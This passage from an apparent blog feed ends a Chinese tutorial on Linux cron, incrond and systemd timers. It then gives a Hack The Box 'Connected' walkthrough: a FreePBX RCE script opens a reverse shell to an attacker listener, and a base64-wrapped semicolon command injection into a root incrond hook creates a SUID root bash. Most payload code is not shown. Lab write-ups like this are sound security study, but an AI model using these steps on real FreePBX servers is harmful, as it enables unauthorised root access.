规则通常是三段：</div><div class="notion-text notion-block-fc1ab597d50c4454af4a77e3db933e72">例如监听上传目录，只要有文件写入完成就触发处理脚本：</div><div class="notion-text notion-block-a780d0c9e7d34a8694cc80ad456482df">这里常见变量含义是：</div><ul class="notion-list notion-list-disc notion-block-992229b65b7e4703a995255a4324ff68"><li><code class="notion-inline-code">$@</code>：被监听的路径。</li></ul><ul class="notion-list notion-list-disc notion-block-5be017cf620b475eab8875a057131eec"><li><code class="notion-inline-code">$#</code>：触发事件的文件名。</li></ul><ul class="notion-list notion-list-disc notion-block-4d002b25689a445d8dd72b9cd70bf6de"><li><code class="notion-inline-code">$%</code>：事件名称，文本形式。</li></ul><ul class="notion-list notion-list-disc notion-block-0499e0ba25a94b01b79c987a5db03dec"><li><code class="notion-inline-code">$&amp;</code>：事件掩码，数字形式。</li></ul><div class="notion-text notion-block-933011a5b44f462fa9a0ce624c3cc653">常见事件：</div><ul class="notion-list notion-list-disc notion-block-fba6a3055c0749aabe215f7308c4b3d3"><li><code class="notion-inline-code">IN_CREATE</code>：监听目录中新建了文件或子目录。</li></ul><ul class="notion-list notion-list-disc notion-block-ada09b4fb3524aefa6ffecc192156124"><li><code class="notion-inline-code">IN_MODIFY</code>：文件内容被修改。</li></ul><ul class="notion-list notion-list-disc notion-block-870eaba7fa6b4c3b83e2936869bf4b28"><li><code class="notion-inline-code">IN_CLOSE_WRITE</code>：以写入方式打开的文件被关闭，常用于“文件写完后再处理”。</li></ul><ul class="notion-list notion-list-disc notion-block-e675bea6596d44fdaa3d7f531b1135a7"><li><code class="notion-inline-code">IN_MOVED_TO</code>：文件被移动到监听目录中，常见于上传程序先写临时文件再 rename 的场景。</li></ul><ul class="notion-list notion-list-disc notion-block-59767a796952491daaae88d70933dc43"><li><code class="notion-inline-code">IN_DELETE</code>：监听目录中的文件或子目录被删除。</li></ul><ul class="notion-list notion-list-disc notion-block-215efef1879643e9a51bc55345f6e39e"><li><code class="notion-inline-code">IN_ATTRIB</code>：权限、时间戳、扩展属性等元数据变化。</li></ul><div class="notion-text notion-block-08a9fd235aa3424eb5592db766209eae">实际使用时，<code class="notion-inline-code">IN_CLOSE_WRITE</code> 往往比 <code class="notion-inline-code">IN_MODIFY</code> 更稳。很多编辑器或上传程序写文件时会产生多次 modify 事件，如果一触发就处理，可能读到半截文件；等 close write 以后再处理，更接近“文件已经写完”。但如果程序是先写临时文件再原子 rename 到目标目录，就要考虑 <code class="notion-inline-code">IN_MOVED_TO</code>。</div><div class="notion-text notion-block-b4bffc77b4694ae68c12ca2c59e63fad">一个排查用规则可以先把事件打到日志里：</div><div class="notion-text notion-block-93c76274908745b29d15699780ed6fdc">incrond 的坑主要有这些：</div><ul class="notion-list notion-list-disc notion-block-245f738b08b8426eb92407ec4ed9dcd1"><li>它不是递归监听。监听目录时，通常只看到该目录本层事件，子目录要单独处理。</li></ul><ul class="notion-list notion-list-disc notion-block-b13f5a7a35bc4acb8ae044698c0427a4"><li>事件可能很多。<code class="notion-inline-code">IN_MODIFY</code> 尤其容易频繁触发，脚本要考虑去抖、锁或幂等。</li></ul><ul class="notion-list notion-list-disc notion-block-77afb174642c45f18f52b4f434e579a9"><li>脚本如果又修改了被监听路径，可能形成循环触发。</li></ul><ul class="notion-list notion-list-disc notion-block-0fffb25823244252b015a99f0ccecf32"><li>用户级 incrontab 受用户权限限制，系统级 <code class="notion-inline-code">/etc/incron.d/</code> 通常是 root 权限，风险更高。</li></ul><ul class="notion-list notion-list-disc notion-block-7aa16fa6e4d647569b93c982d99da33e"><li>同一个 path 在同一张 incron 表里通常只应出现一次，否则只有第一条生效并在日志里报错。</li></ul><div class="notion-text notion-block-68edfa989868469496ca2948b3f7edc8">适合 incrond 的场景：</div><ul class="notion-list notion-list-disc notion-block-adaa4660ef8e4894906ee0fbeb8ac045"><li>上传目录有新文件后自动解析、转码、入库。</li></ul><ul class="notion-list notion-list-disc notion-block-f6806800184e4ac7a9cc51ac15729b47"><li>配置文件变化后自动 reload 某个服务。</li></ul><ul class="notion-list notion-list-disc notion-block-4302f422086b4cb9be1c26dd2d5a17ed"><li>证书、密钥、同步目录变化后触发后续处理。</li></ul><ul class="notion-list notion-list-disc notion-block-5389e58f252b4b2b811024fcc19c18a6"><li>靶机或安全实验里监听特定目录变化，自动执行 hook 脚本。</li></ul><div class="notion-text notion-block-810951eeeb3e4791ac751208b7929eb0">不适合 incrond 的场景：</div><ul class="notion-list notion-list-disc notion-block-c9dba19499164838a8fcd283b06c1d86"><li>固定每天 02:00 运行的备份任务，这类仍然用 cron 或 systemd timer。</li></ul><ul class="notion-list notion-list-disc notion-block-265e981b53fe4da280e1c1fd39b94c5f"><li>文件事件特别高频且处理耗时很长的目录，容易堆积和循环。</li></ul><ul class="notion-list notion-list-disc notion-block-1227555cc7b84503a47db68c63239cbc"><li>需要跨重启补跑的周期任务，incrond 不解决“机器关机时错过事件”的问题。</li></ul><div class="notion-text notion-block-ad9abae5c68d4b609b20510f25df83ef">简单选型一句话：按时间触发用 cron/systemd timer，按文件变化触发用 incrond；如果两者都需要，可以让 cron 负责兜底扫描，让 incrond 负责实时响应。</div><div class="notion-text notion-block-71051e6fecd940c59fc559ab9fdb62df">再和 cron 的目录做一次类比：</div><table class="notion-simple-table notion-block-85fddc16c5d04fcfa183c9f7f5f80a96"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-c0cbfe868296436aa3fab6f89d096f0e"><td class="" style="width:120px"><div class="notion-simple-table-cell">路径</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">里面放什么</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">触发依据</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">谁读取或执行</div></td></tr><tr class="notion-simple-table-row notion-block-329228ca29e848c68b67af8b2ea077f5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/cron.d/</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">cron 时间规则</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">时间</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">crond</code> 读取</div></td></tr><tr class="notion-simple-table-row notion-block-8f6df917d9ff4d7c91e28bf80953db5c"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/cron.daily/</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">脚本</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">外部调度统一调用</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">run-parts</code> 执行</div></td></tr><tr class="notion-simple-table-row notion-block-9594dc6223434a4b9a9790fd176d44b9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/incron.d/</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">incron 文件事件规则</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">文件系统事件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">incrond</code> 读取</div></td></tr></tbody></table><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-46d828f92c4846e1974ffe5818b7901a" data-id="46d828f92c4846e1974ffe5818b7901a"><span><div id="46d828f92c4846e1974ffe5818b7901a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#46d828f92c4846e1974ffe5818b7901a" title="systemd timer：现代系统里的另一种选择"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">systemd timer：现代系统里的另一种选择</span></span></h3><div class="notion-text notion-block-d1ac421348c94376a413ec12bd957df3">如果你的发行版使用 systemd，除了 cron，还可以用 systemd timer。阮一峰的教程把 systemd timer 拆成两个文件理解：</div><ul class="notion-list notion-list-disc notion-block-c8908216a0bc4ad9a3bee3a8e9697f8c"><li><code class="notion-inline-code">.service</code>：真正要执行的任务。</li></ul><ul class="notion-list notion-list-disc notion-block-a680af8944ab477f8d30c797b601b638"><li><code class="notion-inline-code">.timer</code>：什么时候触发这个 service。</li></ul><div class="notion-text notion-block-e9eabf84be51413f8a24b7ba76dc455e">一个简单的 service：</div><div class="notion-text notion-block-388f11e3fef54c4d915f6befa047c91e">对应 timer：</div><div class="notion-text notion-block-1d90162b65d84d0a8b8c560befe5c351">启用并查看：</div><div class="notion-text notion-block-f9f52760ea9b4736b35bfc5f20bf4b06">systemd timer 的优势：</div><ul class="notion-list notion-list-disc notion-block-205419cbca294e7698e7f7e5fa29b320"><li>日志天然进入 journal，排错更集中。</li></ul><ul class="notion-list notion-list-disc notion-block-99fd766e2e0b4f449f23503ef865d593"><li>可以和 service 的依赖、资源限制、运行用户等能力配合。</li></ul><ul class="notion-list notion-list-disc notion-block-c47821696fc1490d8e1bca1c0003cf84"><li><code class="notion-inline-code">Persistent=true</code> 可以让错过的定时任务在下次启动时补跑。</li></ul><ul class="notion-list notion-list-disc notion-block-21d39e3acd974e26afbe0aa7a157cdb9"><li>可以用 <code class="notion-inline-code">systemctl list-timers</code> 统一查看下一次和上一次执行时间。</li></ul><div class="notion-text notion-block-08accf52a0694650bf51a7649d89ca83">它的代价是文件多一点，概念比一行 crontab 重一些。小脚本、一次性简单周期任务用 cron 很舒服；生产服务、复杂依赖、需要统一日志和状态管理的任务，用 systemd timer 更顺手。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-9540f07877d54ae28ba9e63f66cb46bc" data-id="9540f07877d54ae28ba9e63f66cb46bc"><span><div id="9540f07877d54ae28ba9e63f66cb46bc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9540f07877d54ae28ba9e63f66cb46bc" title="选型建议"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">选型建议</span></span></h3><ul class="notion-list notion-list-disc notion-block-1b0b321c6ce1447f81de516626c750a3"><li>简单个人任务：优先 <code class="notion-inline-code">crontab -e</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-bf7f72ca6ae74eefa4fef8db03e6813f"><li>系统维护脚本：考虑 <code class="notion-inline-code">/etc/cron.daily/</code>、<code class="notion-inline-code">/etc/cron.d/</code> 或 systemd timer。</li></ul><ul class="notion-list notion-list-disc notion-block-a957e8ef2e00414cb0b451c7154426a9"><li>机器不保证在线：考虑 <code class="notion-inline-code">anacron</code> 或 systemd timer 的 <code class="notion-inline-code">Persistent=true</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-7d5a6445c77c4265a3a6416e9abf58a1"><li>文件创建、上传、移动、修改后立即处理：考虑 <code class="notion-inline-code">incrond</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-e395a4d0eefc4cc68e142c1b897bb302"><li>需要清晰日志、依赖关系、资源限制：优先 systemd timer。</li></ul><ul class="notion-list notion-list-disc notion-block-f0da354cd74a4d0cbb99e82afaba8574"><li>只执行一次的任务：用 <code class="notion-inline-code">at</code>，不要硬写一个只跑一次的 cron。</li></ul><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-b639bf52f4c54577bec8d5f3fef9c07f" data-id="b639bf52f4c54577bec8d5f3fef9c07f"><span><div id="b639bf52f4c54577bec8d5f3fef9c07f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b639bf52f4c54577bec8d5f3fef9c07f" title="上线前检查清单"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">上线前检查清单</span></span></h3><div class="notion-to-do notion-block-4a8e131f387e4162b2432f0d2aa598ee"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">命令和脚本都使用绝对路径。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-50efc3bf5d264fed9e22b29bcc1a05fd"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">手动执行脚本可以成功。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-352919cb7ac3478cb955bc3e21e32a63"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">明确运行用户，不滥用 root。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-eb4230c6918a44578a4f982296b518b6"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">stdout/stderr 已经写入日志或有明确邮件策略。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-73e36277d83e413c80d6eac3296a6e4f"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">脚本可重复执行，失败后重跑不会造成严重副作用。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-6b1a869531fe4c90823c6f92d6cc1565"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">高频任务有锁，避免重叠执行。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-013615b5ee6a4f278cfde9e936b8dc6e"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">确认系统时区：<code class="notion-inline-code">timedatectl</code>。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-e1268d1af92a406ab9057ebffb9f4ce3"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">确认 cron/crond、incrond 或 timer 已启用并运行。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-f27ec9efbc834d29bcbd311f0fa8446b"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">如果使用 incrond，先用 <code class="notion-inline-code">logger</code> 记录 <code class="notion-inline-code">$@</code>、<code class="notion-inline-code">$#</code>、<code class="notion-inline-code">$%</code>，确认触发事件和路径符合预期。</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-0513db9d7c89409bb313b3a194b78f6d"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">确认下一次执行时间或触发条件可被观察：<code class="notion-inline-code">crontab -l</code>、<code class="notion-inline-code">incrontab -l</code> 或 <code class="notion-inline-code">systemctl list-timers</code>。</div></div><div class="notion-to-do-children"></div></div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-2c1582342d4a42b19d57c587519dc64d" data-id="2c1582342d4a42b19d57c587519dc64d"><span><div id="2c1582342d4a42b19d57c587519dc64d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2c1582342d4a42b19d57c587519dc64d" title="常见问题排查"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常见问题排查</span></span></h3><div class="notion-text notion-block-e80dca59cf0047ce989bff75552192ea"><b>任务完全不跑</b></div><div class="notion-text notion-block-e30e2b0ed29a4289b96ed82e6d21e2d0">先确认服务状态：</div><div class="notion-text notion-block-3d5ab25cd69c4e8792fd6863b09195e8">再确认规则是否真的安装：</div><div class="notion-text notion-block-21615cfe3d474798b43837a60236b620"><b>手动能跑，cron 不能跑</b></div><div class="notion-text notion-block-dade1bc3721c4a5d8674e3d0fa02a149">优先怀疑环境变量、路径和当前目录。把命令改成绝对路径，并给 crontab 加 <code class="notion-inline-code">PATH</code>。</div><div class="notion-text notion-block-50a26c23bd794fc589863529a419f8b3"><b>看不到错误</b></div><div class="notion-text notion-block-ac16ebbdcc2d4e84b4fa2f15f6fe3d87">把输出重定向到日志：</div><div class="notion-text notion-block-f61cdbbdc5504521b1b2a177ab9e5efe"><b>运行时间不对</b></div><div class="notion-text notion-block-db65ba8d91b1496b9231f0687de26071">检查系统时区：</div><div class="notion-text notion-block-2a27caa538bb4ea39ee4c01403c308a2"><b>任务重复执行导致冲突</b></div><div class="notion-text notion-block-4cf732917d794b919bf651a9b0954470">使用 <code class="notion-inline-code">flock</code> 或在脚本里实现锁。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-8cac88f165cb42c59f2083750e99b89d" data-id="8cac88f165cb42c59f2083750e99b89d"><span><div id="8cac88f165cb42c59f2083750e99b89d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8cac88f165cb42c59f2083750e99b89d" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h3><div class="notion-text notion-block-65b26e9ecbf1467e8be16a3d7ceaceb3">Linux 定时任务不难，难的是让它在真实环境里稳定、可查、失败可恢复。cron 胜在简单直接，anacron 解决“不总是开机”的补跑问题，incrond 适合文件事件驱动，systemd timer 适合现代服务化管理。实际使用时，不要只写对时间表达式或事件掩码，还要一起设计权限、路径、日志、重试、重叠和幂等。</div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Connected]]></title>
            <link>http://qetx.top/article/3afb233d-8731-805f-870a-d2a3c3ee75fd</link>
            <guid>http://qetx.top/article/3afb233d-8731-805f-870a-d2a3c3ee75fd</guid>
            <pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-3afb233d8731805f870ad2a3c3ee75fd"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-3afb233d87318027aa59e5af6c3c33d3">先用fscan扫描<code class="notion-inline-code">fscan -h 10.129.245.100</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3afb233d8731800c925bc45ba0e3b6bb"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa3b7c656-a8b0-4d17-9bcb-05f5776a172e%3Aimage.png?table=block&amp;id=3afb233d-8731-800c-925b-c45ba0e3b6bb&amp;t=3afb233d-8731-800c-925b-c45ba0e3b6bb" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3afb233d8731808bb027ef66e1d40414">发现80端口，去访问发现服务是<code class="notion-inline-code">FreePBX 16.0.40.7</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3afb233d873180bf81c5e3df9d143be7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7aad40b3-ae25-4190-a3af-a7567dcb6e70%3Aimage.png?table=block&amp;id=3afb233d-8731-80bf-81c5-e3df9d143be7&amp;t=3afb233d-8731-80bf-81c5-e3df9d143be7" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3afb233d8731809a8852ff1e8cc1083a">网上查找到对应的rce脚本</div><div class="notion-text notion-block-3afb233d873180c2b919e7b5ea0a0ebe">直接进行利用反弹shell</div><div class="notion-text notion-block-3afb233d873180c7a15cddb452dc6908"><code class="notion-inline-code">python </code><code class="notion-inline-code"><a class="notion-link" href="http://exploit.py/" target="_blank" rel="noopener noreferrer">exploit.py</a></code><code class="notion-inline-code"> --rhost connected.htb --lhost ip --lport 4444</code></div><div class="notion-text notion-block-3afb233d873180dcab1cfa2cd69f038e"><code class="notion-inline-code">nc -l 4444</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3afb233d87318045ae6ed8a0fb43ba3e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0312dab3-54ae-477b-930a-dfd408065223%3Aimage.png?table=block&amp;id=3afb233d-8731-8045-ae6e-d8a0fb43ba3e&amp;t=3afb233d-8731-8045-ae6e-d8a0fb43ba3e" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3afb233d87318094b0dedbd2c1c51d30">得到了用户的flag</div><div class="notion-text notion-block-3b5b233d8731808d8d41c56fc98f62fb">获得一个稳定的shell
<code class="notion-inline-code">python3.6 -c &#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</code></div><div class="notion-text notion-block-3b5b233d873180639f97f312e4d5c965">收集和root有关的进程</div><div class="notion-text notion-block-3b5b233d87318026b554dc0cb1fa3743">查看开放的端口<code class="notion-inline-code">netstat -tlnp</code></div><div class="notion-text notion-block-3b5b233d873180ac9816e480b5f49d43">在拿到 <code class="notion-inline-code">asterisk</code> 用户 shell 后，先用 <code class="notion-inline-code">linpeas</code> 做本地枚举。机器上存在 FreePBX/Sangoma Sysadmin 相关的 <code class="notion-inline-code">incrond</code> root hook，这是本机提权的关键点。</div><div class="notion-text notion-block-3b5b233d8731808cbd84c77d17b22019">关键输出如下：</div><div class="notion-text notion-block-3b5b233d873180a8a3fae20bad8fd945">其中 <code class="notion-inline-code">/usr/bin/sysadmin_manager</code> 会被 <code class="notion-inline-code">incrond</code> 以 root 身份调用。它会根据触发文件名解析模块和 hook，然后验证 FreePBX 模块签名，最后执行对应的已签名 hook。</div><div class="notion-text notion-block-3b5b233d87318010a446d610f0a47514">继续查看 <code class="notion-inline-code">sysadmin_manager</code> 逻辑：</div><div class="notion-text notion-block-3b5b233d87318028a057effccf0efd66">sysadmin_manager的完整代码</div><div class="notion-text notion-block-3b5b233d87318007b2d0da46e4a8e3d1">核心逻辑如下：</div><div class="notion-text notion-block-3b5b233d873180c393ccd3eb74701ca4"><code class="notion-inline-code">sysadmin_manager</code> 会对 <code class="notion-inline-code">$params</code> 做字符过滤，不能直接传入 <code class="notion-inline-code">;</code>、<code class="notion-inline-code">&gt;</code>、<code class="notion-inline-code">&amp;</code>、引号等 shell 元字符。但 FreePBX 的 <code class="notion-inline-code">api</code> 模块里有一个已签名的 hook：</div><div class="notion-text notion-block-3b5b233d8731802d8362c4f937d71648">关键代码：</div><div class="notion-text notion-block-3b5b233d873180d0a13af4d6143a0b3f">这里的利用思路是：</div><ol start="1" class="notion-list notion-list-numbered notion-block-3b5b233d873180e79ca2f9475a69269b" style="list-style-type:decimal"><li>外层传入只包含安全字符的 base64 字符串，绕过 <code class="notion-inline-code">sysadmin_manager</code> 的参数过滤。</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3b5b233d873180a99cf5dc8e8e25b2f1" style="list-style-type:decimal"><li><code class="notion-inline-code">fwconsole-commands</code> hook 会对该参数做 <code class="notion-inline-code">base64_decode + gzuncompress + json_decode</code>。</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3b5b233d873180dbb88fc7c534e65188" style="list-style-type:decimal"><li>解码后的 <code class="notion-inline-code">$settings[0]</code> 会被拼接进 <code class="notion-inline-code">/usr/sbin/fwconsole $command 2&gt;&amp;1</code>。</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3b5b233d8731802d8742e18e96136192" style="list-style-type:decimal"><li>由于这里没有转义 <code class="notion-inline-code">$command</code>，可以通过分号追加 root 命令。</li></ol><div class="notion-text notion-block-3b5b233d873180fbb758d1f67d01d516">需要注意的是，<code class="notion-inline-code">/var/spool/asterisk/incron</code> 同时监听 <code class="notion-inline-code">IN_MODIFY</code>、<code class="notion-inline-code">IN_ATTRIB</code>、<code class="notion-inline-code">IN_CLOSE_WRITE</code>，实际测试时容易在文件尚未写完时被 root 进程消费并 unlink，导致 hook 收到空参数。更稳定的触发目录是 <code class="notion-inline-code">/usr/local/asterisk/incron</code>，它只监听 <code class="notion-inline-code">IN_CLOSE_WRITE</code>：</div><div class="notion-text notion-block-3b5b233d8731804faea5f4f2d81dcd97">生成 payload：</div><div class="notion-text notion-block-3b5b233d873180ecbb06d587aafec406">得到 payload：</div><div class="notion-text notion-block-3b5b233d87318067848ed1f9279cbd04">为了让 hook 的数据库回写正常，可以先插入一个异步任务记录：</div><div class="notion-text notion-block-3b5b233d87318039b50cd5b33742103b">写入 <code class="notion-inline-code">/usr/local/asterisk/incron</code> 触发 root hook：</div><div class="notion-text notion-block-3b5b233d873180b1aa0ddd3cb3eb78f9">检查结果：</div><div class="notion-text notion-block-3b5b233d87318038a5f8ce5b0ccffa0b">输出：</div><div class="notion-text notion-block-3b5b233d8731802fbb5fc499fd2bc31f">此时已经得到一个 SUID root bash：</div><div class="notion-text notion-block-3b5b233d873180bea5f2ca741132bd74">验证：</div><div class="notion-text notion-block-3b5b233d87318009a766e1c876f53ab2">最终 root flag：</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3b5b233d8731808abc1dc75b78b8fea3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa84e7961-9c8a-45a4-8b7b-2c14dc1ddb3d%3Aimage.png?table=block&amp;id=3b5b233d-8731-808a-bc1d-c75b78b8fea3&amp;t=3b5b233d-8731-808a-bc1d-c75b78b8fea3" alt="notion image" loading="lazy" decoding="async"/></div></figure></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Paperwork]]></title>
            <link>http://qetx.top/article/3adb233d-8731-80a7-893c-ee2723a58256</link>
            <guid>http://qetx.top/article/3adb233d-8731-80a7-893c-ee2723a58256</guid>
            <pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-3adb233d873180a7893cee2723a58256"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-3adb233d873180f0aaf5f3e2295b5e36">先用fscan进行扫描端口和漏洞探测<code class="notion-inline-code">fscan -h 10.129.248.117</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3adb233d8731800dbd45cb9374fa3199"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Affebc318-1a37-49fa-884a-49d45d125983%3Aimage.png?table=block&amp;id=3adb233d-8731-800d-bd45-cb9374fa3199&amp;t=3adb233d-8731-800d-bd45-cb9374fa3199" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3adb233d8731800fb518f0909f67c92b">找到有网站，就先去进行访问</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3adb233d873180bfb10ccc905def8054"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" 